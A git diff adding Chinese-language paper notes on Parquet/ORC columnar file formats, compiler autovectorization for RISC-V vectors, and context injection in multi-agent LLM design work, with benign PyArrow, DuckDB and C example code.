分散)。 + +### 5. 嵌套数据:Dremel vs Length/Presence + +JSON 风格的嵌套结构两种建模: + +- **Parquet(Dremel)**:每个**原子字段**一列,附带 **Repetition Level / Definition Level** 两个整数流描述 list/struct/null。 +- **ORC**:每个 optional 字段有 **presence 位图**,每个 repeated 字段有 **length 列**。 + +Parquet 读 leaf 列更少;ORC 对 struct/list 中间节点显式建列。深度嵌套时 Parquet 文件更小,ORC 转 Arrow 更慢。 + +### 6. Benchmark 工作负载(论文 §4) + +从真实数据提取五类预设 workload: + +| 名称 | 来源倾向 | 特点 | +|------|----------|------| +| bi | Tableau 公开 BI | 高选择性扫描 | +| classic | IMDb, Yelp | 字符串多、Zipf 长尾 | +| geo | Geonames | 低选择性、细 zone map 受益 | +| log | SEC 日志 | 浮点多、排序度高 | +| ml | UCI-ML | 宽表、特征投影 | + +列属性参数:**NDV 比例**、**NULL 比例**、**值域**、**局部有序度**、**Zipf 偏斜**。用户可通过配置文件 + 生成器复现实验(Figure 4 流程)。 + +--- + +## 主要实验发现(速览) + +### 总体:没有单一赢家 + +- **文件大小**:互有胜负。Parquet 在 log/ml(低 NDV 浮点)更小;ORC 在 classic/geo(字符串为主)更小。 +- **全表扫描**:Parquet 普遍更快(轻量整数编码)。 +- **选择性查询**:geo 上 ORC 更快(细 zone map)。 + +### 编码与解码 + +- 低 NDV 整数:Parquet 字典 + bitpack 压缩更好。 +- 高有序度整数:ORC 的 Delta/FOR 更好。 +- **RLE 阈值**:Parquet 硬编码 **8**,ORC **3**;短游程时 RLE 解码比 bitpack 慢,但压缩更好(Figure 9)。 +- 浮点全表扫描:ORC 不解码字典,**解码时间**反而优于 Parquet——I/O 在现代 SSD 上已不是瓶颈。 + +### ML 与向量 + +- **宽表投影**(Figure 11):特征列从 200 增到 8000,**元数据解析时间线性涨**,即使只投影 10 列——Footer 里 Thrift/Protobuf schema 只能顺序解析。 +- **向量 embedding**(Figure 16):Parquet/ORC 压缩比接近 1(几乎压不动);Zarr 扫描开销更小(网格 chunk 并行)。 +- **Top-k + 回表**(LAION-5B,Figure 17):本地 SSD 上 ORC 选择快;**S3 上 Parquet 胜**(更少小范围 GET)。 + +### GPU(cuDF,§5.9) + +- CPU 上「少压缩、快解码」;GPU 上 **PCIe + 磁盘 I/O 主导**,**zstd 块压缩反而提升吞吐**。 +- Parquet/ORC 的变长 RLE+bitpack 子序列 **难以在 warp 内并行**——GPU 利用率低。未来格式需要**块内可并行**的编码。 + +--- + +## 八条面向未来的 Lesson(论文 §6 浓缩) + +1. **字典编码应继续作为默认策略**(含浮点)——真实列 NDV 普遍很低。 +2. **解码路径保持简单**——运行时在多 codec 间切换有显著开销。 +3. **块压缩不应默认开启**——除非存储成本或网络带宽是真正瓶颈(GPU 场景例外)。 +4. **元数据应集中、可随机访问**——服务 ML 宽表与云对象存储的低延迟读取。 +5. **可嵌入更丰富的索引**(column index、range filter)——存储便宜,用空间换 CPU。 +6. **嵌套模型应贴近内存格式(Arrow)**——减少转码开销。 +7. **ML 需要:宽表投影、低选择性检索、大二进制与结构化数据分区存放、向量专用浮点压缩。** +8. **GPU 友好 = 文件级并行块 + 块内可并行编码。** + +--- + +## 代码示例 1:用 PyArrow 写入 Parquet 并观察编码选择 + +下面演示**同一列数据**在「低 NDV(适合字典)」与「高 NDV(字典失效回退 plain)」下的文件大小差异——对应论文关于 Parquet 默认字典编码的核心论点。 + +```python +import pyarrow as pa +import pyarrow.parquet as pq +import os + +n = 1_000_000 + +# 低 NDV:只有 10 个 distinct city,NDV ratio = 10/n +low_ndv = pa.table({"city": pa.array(["Beijing"] * (n // 10) + ["Shanghai"] * (n // 10) + + [f"C{i}" for i in range(8) for _ in range(n // 80)])}) + +# 高 NDV:每行唯一 UUID 风格字符串,NDV ratio ≈ 1 +high_ndv = pa.table({"id": pa.array([f"user-{i:08d}" for i in range(n)])}) + +for name, table in [("low_ndv", low_ndv), ("high_ndv", high_ndv)]: + path = f"/tmp/{name}.parquet" + pq.write_table( + table, + path, + compression="SNAPPY", # 论文:默认 Snappy 在现代硬件上常不划算 + use_dictionary=True, # Parquet 默认对各类列尝试字典 + write_statistics=True, # 写入 zone map(min/max)供谓词下推 + row_group_size=1_000_000, # 论文实验默认 1M 行 / row group + ) + print(f"{name}: {os.path.getsize(path) / 1024 / 1024:.2f} MB") + +# 读取 metadata,查看实际采用的编码 +meta = pq.read_metadata("/tmp/low_ndv.parquet") +rg = meta.row_group(0) +col = rg.column(0) +print("low_ndv encoding:", col.statistics) # 可进一步用 col.encodings() 查看 +``` + +**预期直觉**:`low_ndv` 文件应远小于 `high_ndv`;后者字典页填满后大量值以 plain 存储,体积接近原始字符串长度。生产环境可尝试 `compression="NONE"` 或 `ZSTD` 级别 1,对照论文 Figure 8 在 NVMe 上的扫描延迟。 + +--- + +## 代码示例 2:用 DuckDB 对 Parquet 做选择性扫描(zone map 下推) + +DuckDB 读取 Parquet 时会利用 **footer 中的列统计信息**跳过 Row Group,对应论文 §5.6 的 select + late materialization 讨论。需先 `pip install duckdb pyarrow`。 + +```python +import os +import duckdb +import pyarrow as pa +import pyarrow.parquet as pq +import datetime + +# 生成 100 万行 BI 风格数据:date 列有一定有序度(利于 zone map) +n = 1_000_000 +base = datetime.date(2020, 1, 1) +dates = pa.array([base + datetime.timedelta(days=i % 365) for i in range(n)]) +amounts = pa.array([i % 1000 for i in range(n)]) +table = pa.table({"dt": dates, "amount": amounts}) +path = "/tmp/bi_sample.parquet" +pq.write_table(table, path, compression="SNAPPY") + +con = duckdb.connect() +con.execute(f"CREATE VIEW sales AS SELECT * FROM read_parquet('{path}')") + +# 高选择性:扫描大部分 row group +high_sel = con.execute(""" + SELECT SUM(amount) FROM sales + WHERE dt BETWEEN DATE '2020-06-01' AND DATE '2020-12-31' +""").fetchone() + +# 低选择性:仅匹配极少数 row(zone map 可跳过更多块) +low_sel = con.execute(""" + SELECT SUM(amount) FROM sales + WHERE dt = DATE '2020-01-01' +""").fetchone() + +print("high selectivity sum:", high_sel[0]) +print("low selectivity sum:", low_sel[0]) + +# EXPLAIN 可查看是否 pushdown(版本不同输出略有差异) +print(con.execute("EXPLAIN SELECT * FROM sales WHERE dt = DATE '2020-01-01'").fetchdf()) +``` + +**论文启示**:低选择性查询在 Parquet 上能否加速,取决于 **PageIndex / Row Group 统计**是否启用、**date 列是否在文件中有序聚簇**。若 date 完全随机,zone map 几乎无效——这与 Lesson 5「索引要匹配数据分布」一致。 + +--- + +## 代码示例 3(补充):对比「开/关块压缩」的扫描成本 + +```python +import os +import pyarrow as pa +import pyarrow.parquet as pq +import time + +n = 1_000_000 +table = pa.table({ + "k": pa.array([i % 500 for i in range(n)]), # 低 NDV 整数 + "s": pa.array([f"tag-{i % 50}" for i in range(n)]), +}) + +for comp in ["NONE", "SNAPPY", "ZSTD"]: + path = f"/tmp/core_{comp}.parquet" + pq.write_table(table, path, compression=comp, row_group_size=n) + size_mb = os.path.getsize(path) / 1024 / 1024 + + t0 = time.perf_counter() + _ = pq.read_table(path) + elapsed = time.perf_counter() - t0 + print(f"{comp:6s} size={size_mb:5.2f}MB read={elapsed:.3f}s") +``` + +在 NVMe 上你往往会看到:**NONE 读最快、体积未必最大**(因轻量编码已压缩);ZSTD 体积最小但解码最慢——复现论文 Figure 8 的 CPU vs I/O trade-off。 + +--- + +## 与 Lakehouse / Arrow 的关系 + +- **Lakehouse**(Delta/Iceberg/Hudi)在 Parquet 之上加**事务日志、快照、分区演进**——解决的是「哪几个文件组成表 version N」,不是「列块如何编码」。 +- **Arrow** 是进程间**零拷贝/少拷贝**内存列格式;Parquet → Arrow 解码是分析查询的常规路径。论文刻意分开测「格式原生扫描」,避免 Parquet 与 Arrow 紧耦合造成 ORC 对比不公平。 + +读 Lakehouse 笔记时把本文当作**底层文件格式层**的补充:表格式选 Iceberg 不改变「仍建议默认字典、谨慎 Snappy」的结论。 + +--- + +## 实践建议(写 Parquet/ORC 的生产 checklist) + +1. **先看列 NDV**:BI/日志列多数低 NDV → 保持字典;高基数 ID 列考虑 ORC 式 NDV 阈值或关闭字典。 +2. **块压缩**:NVMe / 本地 SSD 分析集群可试 **`compression=NONE` 或 ZSTD level 1** 做 A/B;S3 冷数据、带宽贵时可保留 zstd。 +3. **Row Group 大小**:窄表用大 row group(100 万行);**含大 blob(图片)** 时用较小 row group 提高并行读(论文 Figure 18),结构化列与 blob **分区存放**更好。 +4. **谓词列**:低选择性查询靠 **PageIndex(Parquet 2.x)** 或 ORC Row Index;确保写入时 `write_statistics=True`。 +5. **ML 宽表**:数千特征列时,关注 **footer 解析**成本;考虑按特征组分文件、或等 F3 等下一代格式。 +6. **向量列**:Parquet list 非最优;大规模 embedding 可评估 **Zarr / 专用向量库 + 外表 Parquet 元数据**。 +7. **GPU 管道**:若走 RAPIDS/cuDF,**更 aggressive 的块压缩**可能反而有利——与 CPU 结论相反。 + +--- + +## 局限与后续工作 + +- 实验主要基于 **Arrow 9.0 / ORC 1.8 / 2023 年**实现;Parquet PageIndex、Bloom Filter 在 C++ 侧支持仍在演进。 +- 未涵盖 **BtrBlocks、Capacitor、Alpha、F3** 等新格式(作者后续 SIGMOD'26 有 F3 工作)。 +- 对比 ORC 时未测「ORC 原生 reader 最优路径」,部分结论针对 **转 Arrow / 通用扫描** 场景。 + +--- + +## 一句话总结 + +Parquet 和 ORC 都是 2013 年 Hadoop 时代的杰作;在 **NVMe + ML + 云对象存储 + GPU** 的今天,**没有格式全胜**——真实列普遍低 NDV 使**字典编码仍应是默认**,**简单解码胜过复杂压缩**,**块压缩不应无脑默认**,**元数据与索引粒度**要匹配工作负载(BI 扫描 vs geo 点查 vs ML 宽表 vs 向量 top-k)。这篇论文的价值在于:用可复现 benchmark 把「格式迷信」变成「可度量 trade-off」,为 F3 等下一代开放格式铺路。 + +--- + +## 延伸阅读 + +- 论文扩展版:https://arxiv.org/pdf/2304.05028 +- Artifact:https://github.com/XinyuZeng/EvaluationOfColumnarFormats +- 同团队后续:**F3**(SIGMOD 2026 Best Paper Honorable Mention)、**NULLS!**(DaMoN 2024)、**LeCo** 学习型压缩(SIGMOD 2024) +- 表格式层:本仓库 [Lakehouse 2021 笔记](./lakehouse-2021.md) diff --git a/src/content/docs/papers/compiler-perf-left-on-table.md b/src/content/docs/papers/compiler-perf-left-on-table.md new file mode 100644 index 000000000..7f71e9bf6 --- /dev/null +++ b/src/content/docs/papers/compiler-perf-left-on-table.md @@ -0,0 +1,325 @@ +--- +title: Performance Left on the Table — 编译器自动向量化还剩多少性能没吃到 +来源: 'Neil Adit & Adrian Sampson, "Performance Left on the Table: An Evaluation of Compiler Autovectorization for RISC-V", IEEE Micro, 2022 (DOI: 10.1109/MM.2022.3184867)' +日期: 2026-06-13 +子分类: 类型与 PL 理论 +分类: 编程语言 +provenance: pipeline-v3 +--- + +## 从日常类比开始:自动挡 vs 手动挡 + +想象你买了一辆带「运动模式」的新车,销售说引擎能输出 300 马力。你平时只用 D 挡通勤,仪表盘永远显示 150 马力——不是车坏了,而是**自动挡的换挡逻辑**没把你踩到底的油门完全翻译到轮子上。 + +写 C/C++ 程序时,编译器的 **autovectorization(自动向量化)** 就像这辆车的 D 挡:理论上 CPU 有 SIMD/向量单元(一次处理 4、8、16 个数据),编译器应该把标量循环改写成向量指令;但大量 benchmark 显示,**手写 intrinsics 的「手动挡」版本**往往比 `-O3` 自动向量化快一截,甚至快数倍。论文标题 *Performance Left on the Table* 说的就是:**桌上还摆着性能,编译器没帮你端起来**。 + +Adit & Sampson 在 RISC-V Vector Extension(RVV)和 LLVM 15 上做了系统测量,对比三种配置: + +| 配置 | 含义 | +|------|------| +| Scalar | 纯标量,关闭向量化 | +| Hand-vector | 程序员用 RVV intrinsics 手写向量代码 | +| Autovector | 只写标量循环,交给 `clang -O3` 自动向量化 | + +核心问题不是「向量化有没有用」(有用,TSVC 里常见 6–7× 指令数下降),而是 **length-agnostic ISA(长度无关向量 ISA)** 上的编译器支持,仍明显落后于 AVX-512 等固定宽度 ISA——以及即使向量化成功,和手写之间仍有 gap。 + +--- + +## 是什么 + +**Performance Left on the Table** 是一篇 **empirical compiler evaluation(实证编译器评估)** 论文,聚焦 **LLVM 对 RISC-V RVV 的 autovectorization 成熟度**,并与 **Intel AVX-512** 对照。 + +研究分两路: + +1. **合成循环(TSVC)**:151 个经典向量化测试 loop,看 LLVM 在 RVV-VLS(编译期固定向量宽)与 RVV-VLA(向量长度在运行时由硬件决定)下各能 vectorize 多少。 +2. **真实应用(RiVec benchmark suite)**:已有 RVV 手写实现的 PARSEC / Rodinia / PolyBench 程序,量化 autovector 与 hand-vector 的 **dynamic instruction count speedup** 差距,并通过**受控源码变换**模拟「若编译器/编程模型改进 X,gap 能缩小多少」。 + +论文产出 **Table 1:改进提案清单**,按难度标注为工程修复 (E)、编译器研究 (C)、编程模型研究 (P)——相当于给 RVV/SVE 生态的 roadmap。 + +--- + +## 为什么重要 + +### 1. 向量 ISA 正在换代 + +传统 **fixed-length SIMD**(x86 AVX、ARM Neon)把向量宽写死在 ISA 里:换一代 CPU 可能要重编译或改 intrinsics。新一代 **length-agnostic / scalable vector ISA**——**RISC-V RVV**、**ARM SVE**——用 `vsetvl` 等在运行时适配硬件向量长度,**同一份二进制**可在不同 core 上跑。但若编译器 autovector 跟不上, portability 的代价就是 **performance left on the table**。 + +### 2. 手写 intrinsics 不可持续 + +Hand-vector 要求程序员: + +- 理解 `vsetvl` stripmining、mask、segment load/store; +- 处理 tail loop(剩余元素不足一个向量宽); +- 为每种数据宽度、每种 libm 函数单独调优。 + +Autovector 的理想是:**写可读的标量循环,编译器生成接近手写的 RVV**。论文用数据说明:这个理想在 2022 年的 LLVM 上**部分成立**(Streamcluster、Jacobi-2D),**部分彻底失败**(Blackscholes 在 RVV 上 autovector 零加速)。 + +### 3. 对「编译器已经够聪明」的纠偏 + +工业界常见心态:「开 `-O3` 就行了」。论文用 RiVec 表明:**math lib 调用、指针别名、动态向量长度、shuffle 代价未建模** 等具体问题,会让 `-O3` 在关键 loop 上**完全放弃向量化**。这不是抽象讨论,而是可复现的 instruction count 和变换实验。 + +--- + +## 核心概念 + +### 1. Autovectorization(自动向量化) + +编译器分析 loop 的 **data dependence(数据依赖)** 和 **memory access pattern(访存模式)**,若相邻迭代可并行,则生成 SIMD/向量指令,一次处理多个 lane。 + +**必要条件(简化)**: + +- Loop 内无 **loop-carried dependence** 阻碍(或 dependence distance ≥ vector length); +- 编译器能证明 **pointer aliasing(指针别名)** 不破坏语义; +- 无编译器无法 vectorize 的 **call**(如 scalar `log10`)。 + +### 2. RVV-VLS vs RVV-VLA + +| 模式 | LLVM 标志 | 含义 | +|------|-----------|------| +| RVV-VLS | `-riscv-v-vector-bits-min=N` | 编译期假定向量宽为 N bit,类似传统 SIMD | +| RVV-VLA | `-scalable-vectorization=on` | 向量长度运行时才知道,IR 中用 **scalable vector type** | + +论文发现:VLS 比 VLA **多 vectorize 13 个 TSVC loop**,因为有些 pass 需要 **compile-time fixed vector length**(例如 SLP vectorization、某些 stride load 模式)。VLA 后端往往退化为更通用的 `vluxei`(indexed gather),而 VLS 可选更高效的 `vlse`(strided load)。 + +### 3. Instruction count speedup + +论文主指标: + +```text +speedup_c = (scalar 动态指令数) / (配置 c 的动态指令数) +``` + +在 gem5(RVV)或 perf(AVX-512)上测 **dynamic instruction count**,不是 wall-clock——便于隔离「编译器生成了多少指令」,但仍与真实性能强相关。 + +### 4. 性能 gap 的六大来源(RiVec 总结) + +论文 Table 1(B) 归纳 autovector 落后于 hand-vector 的主因: + +1. **Vector math library 缺失**:RVV 没有像 AVX-512 那样接 `-fveclib=libmvec`,loop 里的 `exp`/`log` 阻断向量化。 +2. **Vector-scalar width mismatch**:RV64 上标量 promoted 到 i64,向量仍是 i32,插入大量 width conversion。 +3. **Dynamic vector length scalability**:Autovector 只用 max hardware vector length + scalar epilogue;手写用 `vsetvl` stripmine,tail 更高效。 +4. **Shuffle pattern detection**:VLA 下 gather offset / shuffle mask 无法在 IR 里写成固定数组,后端选指令保守。 +5. **Memory aliasing & access pattern**:编译器未识别 reuse,重复 load/store。 +6. **Algorithmic structure**:需 loop fusion、interchange 等源码级变换才可向量化——属编程模型问题。 + +--- + +## 代码示例 1:strided access — VLS 能 vectorize,VLA 选指令更差 + +TSVC 类 loop(论文 synthetic study): + +```c +// 每隔一个元素写 a[i] = a[i-1] + b[i] +for (int i = 0; i < N; i += 2) { + a[i] = a[i - 1] + b[i]; +} +``` + +**零基础怎么读**: + +- 这是 **strided(跨步)访存**:不是连续 `a[i]`、`a[i+1]`,而是步长 2。 +- **RVV-VLS** 后端可选 **strided load (`vlse`)**——硬件直接按步长取数。 +- **RVV-VLA** 因 IR 里 offset 不能写成「长度固定的数组」,常退化为 **indexed gather (`vluxei`)**——更通用、往往更慢。 + +**启示**:不是 loop「本质上不能向量化」,而是 **length-agnostic IR 表示不完整** 导致后端保守。论文建议:**Standardize IR representation for gather offsets and shuffle masks**(Table 1-A,难度 C)。 + +--- + +## 代码示例 2:Blackscholes — 一个 `log10` _CALL 毁掉整条 loop + +Blackscholes 期权定价核心类似: + +```c +for (int i = 0; i < numOptions; i++) { + float price = ...; // 若干算术 + float log_val = log10(price); // ← scalar libm call + result[i] = some_formula(price, log_val); +} +``` + +**现象(论文 Figure 1a,未修改 benchmark)**: + +| 配置 | 相对 scalar 的指令 speedup | +|------|---------------------------| +| Hand-vector (RVV) | ~6.8× | +| Autovector RVV-VLA / VLS | **~1×(无加速)** | +| Autovector AVX-512 + libmvec | **~9.3×** | + +RVV 上 LLVM **无法把 `log10` 换成向量 math 库**,整个 inner loop 保持标量。AVX-512 有 GLIBC vector math,autovector 反而很强。 + +**受控实验**:把 hand-vector 和 autovector 版本里的 math 函数都改成 **no-op**,再比 speedup——Blackscholes 的 gap **完全消失**,autovector 甚至略超 hand-vector(~11× vs ~6.8×),说明 **compute pattern 本身编译器能优化得很好**,瓶颈在 **libm**。 + +```c +// 论文式「factor out math」变换(概念示意) +#define log10(x) ((void)(x), 0.0f) // 仅用于测量 gap,非生产代码 +``` + +**启示**:**Engineering fix (E)** —— 为 RISC-V 提供 **vectorized libm** 并接 `-fveclib`,可能一次性解锁大量科学计算 loop。 + +--- + +## 代码示例 3:动态向量长度 — 手写 stripmine vs 编译器 epilogue + +**Hand-vector(RVV intrinsics 风格)**: + +```c +#include + +void saxpy(size_t n, float a, const float *x, float *y) { + size_t vl; + for (size_t i = 0; i < n; i += vl) { + vl = __riscv_vsetvl_e32m1(n - i); // 每次取当前硬件允许的长度 + vfloat32m1_t vx = __riscv_vle32_v_f32m1(&x[i], vl); + vfloat32m1_t vy = __riscv_vle32_v_f32m1(&y[i], vl); + vy = __riscv_vfmacc_vf_f32m1(vy, a, vx, vl); + __riscv_vse32_v_f32m1(&y[i], vy, vl); + } +} +``` + +**Autovector 近似生成的控制流(论文 pseudocode)**: + +```c +int max_hwl = read_csr_vlen(); // 固定用最大硬件向量宽 +for (int i = 0; i < N; i += max_hwl) { + if ((N - i) < max_hwl) { + // scalar epilogue:尾部不足一个向量宽时逐元素标量处理 + for (int j = i; j < N; j++) + y[j] += a * x[j]; + } else { + // 向量主体 + ... + } +} +``` + +Streamcluster 的 `dist` 函数:autovector **指令数反而优于** hand-vector,因为手写版在 loop 内为 dynamic VL 加了额外 **vector control 指令**,而 autovector 生成的固定宽度主体更「干净」。但在 tail 占比高的 workload 上,**缺少 vsetvl 式 stripmine** 会浪费向量 lane。 + +**启示**:LLVM 应支持 **dynamic vector length scalability (C)**——在 autovector 代码里生成 `vsetvl` 循环,而非 max-width + scalar epilogue。 + +--- + +## 代码示例 4:指针别名 — 编译器「不敢」向量化 + +Stack Overflow / 社区长期讨论的经典模式(与论文 **Jacobi-2-D / Pathfinder 变换** 同类): + +```c +struct Buffer { + size_t size; + double *data; +}; + +void add1(Buffer *this, const Buffer *other) { + for (size_t i = 0; i < this->size; i++) + this->data[i] += other->data[i]; // 编译器担心 data[i] alias 到 &size +} +``` + +在 strict aliasing 下,若 `data` 理论上可指向 `&this->size`,编译器必须假设 **`this->size` 每次迭代可能被写**,无法把 trip count hoist,也无法向量化。 + +**论文中的修复(Table 2)**: + +- `restrict` 指针,或 +- 简化 2-D 访存为 1-D 连续访问, +- 明确 non-aliasing memory。 + +```c +void add1_restrict(double * restrict data, size_t n, const double * restrict other) { + for (size_t i = 0; i < n; i++) + data[i] += other[i]; +} +``` + +变换后 Jacobi-2-D、Pathfinder 的 autovector 接近 hand-vector,但仍可能因 **未识别 data reuse** 而多几次冗余 load。 + +--- + +## 实验结果速览 + +### TSVC(151 loops,vector length = 8) + +- RVV-VLS 与 RVV-VLA **共同向量化** 82 个 loop,几何平均指令 speedup 约 **7× / 6.3×**。 +- **仅 VLS 能向量化** 的额外 13 个 loop → VLA 编译器/IR 待补完。 +- 议题:dependence analysis 需 **runtime vector length speculation**、SLP 需 **multilength 版本**、reduction 需在 loop 里做 vector register reduction。 + +### RiVec(7 个应用,Figure 1) + +**未修改源码**: + +| Benchmark | Autovector 表现摘要 | +|-----------|---------------------| +| Streamcluster | Autovector ≥ hand-vector(dist 规律访存 + reduction) | +| Blackscholes | RVV autovector **无加速**(libm) | +| Jacobi-2-D, Pathfinder | 有加速,但不如 hand-vector(reuse / alias) | +| Particle filter, Swaptions | 关键段未向量化,接近 scalar | + +**Table 2 变换后(Figure 1b)**:skip math、loop fusion、restrict 等组合可 **大幅 closure gap**;Swaptions 除 math 外仍需 inline、loop interchange 等。 + +--- + +## 与更广的「性能留在桌上」 + +候选语料里把话题扩展到 **PGO、LTO、autovector 盲区**——与本论文一致的精神: + +| 技术 | 「留在桌上」的典型原因 | +|------|------------------------| +| **Autovector** | alias、libm、dynamic VL、shuffle 代价 | +| **PGO** | 未采集代表性 profile;CI 未链 LTO+PGO | +| **LTO** | 跨 TU 边界 inlining / vectorization 仍受 IR 限制 | +| **Auto-parallel** | OpenMP 缺 `simd` / `declare simd` 提示 | + +论文的方法论可复用:**(hand-opt baseline) − (autovector) = gap**,再 **受控变换** 归因到具体 pass 缺失。 + +--- + +## 改进路线图(Table 1 精简) + +**A. 合成 loop / IR 层面** + +- 标准化 length-agnostic gather/shuffle IR **(C)** +- Runtime vector-length-based dependence analysis **(E)** +- Multilength SLP **(E)** +- Vector reduction in dynamic loop **(E)** + +**B. 应用 benchmark 层面** + +- RISC-V vector math library **(E)** ← 高 ROI +- Infer scalar width from vector types **(C)** +- Dynamic VL in autovector output **(C)** +- Shuffle cost model for RVV backend **(C)** +- Algorithmic loop fusion **(P)** + +--- + +## 零基础实践清单 + +1. **看编译器有没有向量化**:`clang -O3 -Rpass=loop-vectorize -Rpass-missed=loop-vectorize foo.c` +2. **对比汇编**:`llvm-objdump -d` 或 Compiler Explorer,搜 `vle`/`vse`(RVV)或 `vmovups`(x86)。 +3. **排除 libm 阻断**:临时替换 math 调用或链接 vector libm(x86 上试 `-fveclib=libmvec`)。 +4. **帮助 alias 分析**:`restrict`、`-fno-strict-aliasing`(仅诊断用,生产慎用)、结构体拆分 pointer 与 length。 +5. **显式提示**:OpenMP `#pragma omp simd`、Clang `__attribute__((assume_aligned))`。 +6. **仍不够再 intrinsics**:与论文结论一致——hand-vector 是现状下的性能上限参考。 + +--- + +## 局限与后续工作 + +- 指标是 **dynamic instruction count**,未涵盖 cache、分支预测、向量单元占用率;Blackscholes 上 autovector 去掉 math 后 **优于** hand-vector 仅说明「指令更省」,真实 wall-clock 还看 libm 实现。 +- 评估锁定 **LLVM 15 + gem5**;2024–2026 的 LLVM 对 RVV 持续演进,需重新跑 RiVec/TSVC 验证 gap 是否缩小。 +- 后续研究如 **VecTrans(LLM 辅助改写 TSVC 以触发 Clang 向量化)** 说明:gap 的一部分可通过 **源码变换 + 编译器** 联合关闭,而不只靠后端 patch。 + +--- + +## 一句话总结 + +**Performance Left on the Table** 用 RISC-V RVV 证明:在 length-agnostic 向量时代,**编译器 autovectorization 仍系统性弱于 fixed-width ISA 上的成熟度,也弱于手写 intrinsics**——主因是 vector libm、VLA IR/后端、dynamic vector length、alias 与访存模式,而非「向量化理论不适用」。性能不是不存在,而是 **留在桌上**;工程上优先补 vector math 与 alias 友好写法,往往比换 CPU 更便宜。 + +--- + +## 延伸阅读 + +- RISC-V Vector Extension spec(RVV v1.0) +- ARM SVE autovectorization 对比研究(与 Neon/AVX 对照的 prior work) +- TSVC / TSVC 2 向量化测试套件 +- RiVec benchmark suite(RVV hand-vector 参考实现) +- VecTrans(arXiv:2503.19449)— LLM 改写不可向量化 loop 以触发 autovector diff --git a/src/content/docs/papers/crossover-context-multi-agent.md b/src/content/docs/papers/crossover-context-multi-agent.md new file mode 100644 index 000000000..f6d0d5646 --- /dev/null +++ b/src/content/docs/papers/crossover-context-multi-agent.md @@ -0,0 +1,439 @@ +--- +title: When Context Hurts — 知识迁移在多智能体设计中的交叉效应 +来源: 'Saranyan Vigraham, "When Context Hurts: The Crossover Effect of Knowledge Transfer on Multi-Agent Design Exploration", arXiv:2605.04361, Meta, 2026' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:给新同事「交接文档」,有时救命,有时添堵 + +想象你带一个新团队做系统架构评审。上一组人已经讨论过两周,留下了一堆材料: + +- **完整会议录音**(Transcript):吵了三个小时,有人主张 Kafka,有人坚持 Redis Stream,最后也没拍板。 +- **设计文档**(Design Doc):漂亮地写定了「用中心化协调器 + Worker 轮询」。 +- **反模式清单**(Anti-patterns):只记录「我们否决了什么」——别用 cron 硬轮询、别在 DB 里存任务状态。 +- **上一版代码**(Code):能跑,但没人解释为什么选这个库。 + +直觉会说:**材料越相关、越完整,新团队越好**。Vigraham(arXiv:2605.04361,Meta)用 2,700+ 次多智能体实验告诉你:**同一份材料,在不同任务上效果可以完全相反**——这叫 **crossover effect(交叉效应)**。 + +- 做 **限流器(rate limiter)** 设计时,没给任何上下文,团队几乎只聊「令牌桶」一种方案,**权衡覆盖率仅 3.3%**。塞进去反模式文档后,覆盖率飙到 **70%**(约 **20×**)。 +- 做 **Kubernetes Operator** 设计时,团队本来就会主动讨论多种框架与调和策略,**基线覆盖率 47.5%**。塞进去完整会议记录后,覆盖率掉到 **25.6%**(**−46%**)。 + +更离谱的是:在若干任务上,**一篇完全无关的技术文档**,表现竟优于所有「相关」知识工件。 + +所以这篇论文挑战的不是「要不要用上下文」,而是行业默认假设:**上下文越多越好、越相关越好**——对**设计探索**(design exploration)而言,这并不成立。 + +--- + +## 是什么 + +**研究问题**:把 A 组多智能体做软件设计时产出的**知识工件(knowledge artifacts)**,注入给 B 组解决**同一设计题**,会扩大还是缩小 B 组的**设计空间探索**? + +**实验规模**: + +| 维度 | 设置 | +|------|------| +| 任务 | 10 个软件设计题(5 个通用 CS + 5 个领域专用) | +| 上下文条件 | 7 种工件注入方式 | +| 重复 | 每格 20 次独立试验 | +| 总运行 | 2,700+ 次多智能体商议 | +| 模型 | Claude Sonnet 4,5 个不同人设 Agent,SA(Speed + Autonomy)编排 | + +**核心指标:权衡覆盖率(tradeoff coverage)** + +对每个任务预先列出已知架构权衡(如限流器有 6 项:算法选择、自建 vs 复用、部署模型……)。评估用另一个 LLM 读完整商议记录,判断「这项权衡是否被讨论过」: + +\[ +\text{Coverage} = \frac{\text{被讨论的已知权衡数}}{\text{该任务已知权衡总数}} +\] + +这和「代码能不能跑、测试过不过」正交:团队可以写出正确实现,却只探索了设计空间里极小一角。 + +--- + +## 为什么重要 + +### 1. 代码生成 ≠ 软件设计 + +给函数签名和类型,上下文几乎总是帮**实现**(Chen et al., 2021)。但**设计**要在多个可行方案间权衡——此时上下文可能**锚定(anchor)**团队,反而减少探索。 + +### 2. 多智能体编排的默认策略可能帮倒忙 + +RAG、长上下文、把上一轮的 design doc / transcript 全塞进 prompt——若不做任务级诊断,你可能在**已经会探索的任务**上注入「毒药」,在**只会抄标准答案的任务**上却错过救命稻草。 + +### 3. 给出可操作的廉价诊断 + +论文主张:先跑**一次无上下文试验**,测 **baseline exploration(基线探索度)**,即可较强预测后续注入是否有益(Pearson **r = −0.82**, *p* < 0.001)。基线越低,知识工件越可能**打断错误收敛**;基线越高,工件越可能**有害锚定**。 + +--- + +## 核心概念 + +### 1. 交叉效应(Crossover Effect) + +**同一类知识工件**,在任务 A 上大幅提升覆盖率,在任务 B 上显著降低——不是随机噪声,而是与任务的**基线探索度**系统性相关。 + +典型数字(相对基线的 Δ coverage): + +| 任务 | 基线 | 反模式文档 Δ | 商议记录 Δ | +|------|------|-------------|-----------| +| Rate limiter | 0.033 | **+0.667** | **+0.558** | +| K8s operator | 0.475 | −0.044 | **−0.219** | + +### 2. 基线探索度(Baseline Exploration) + +**无注入上下文(C6 对照)**时,团队自然达到的权衡覆盖率。 + +- **极低(≈0.03)**:Rate limiter——训练数据里有强烈「令牌桶」先验,团队几乎不讨论滑动窗口、分布式计数等替代方案。 +- **较高(≈0.54)**:LRU cache——OrderedDict vs 双向链表+哈希、线程安全、写策略等**没有单一标准答案**,团队会自发探索。 + +基线探索度是**预测变量**:越低,注入越可能帮忙;越高,注入越可能伤害。 + +### 3. 七种知识工件条件 + +| ID | 条件 | 含义 | +|----|------|------| +| C1 | Transcript | 种子组 5 个 Agent 完整、未剪辑的商议记录 | +| C2 | Topology | 提取的权衡列表:命名决策、选项与理由 | +| C3 | Design doc | LLM 润色后的设计文档 | +| C4 | Anti-patterns | **仅**被否决的备选方案 | +| C5 | Code | 种子组最终代码,无推理过程 | +| C6 | Baseline | 不注入(对照) | +| C7 | Irrelevant | 无关技术文档(启动/干扰对照) | + +注入方式统一为附录:「前一个团队做过这道题,以下是他们的 [工件类型]:……」 + 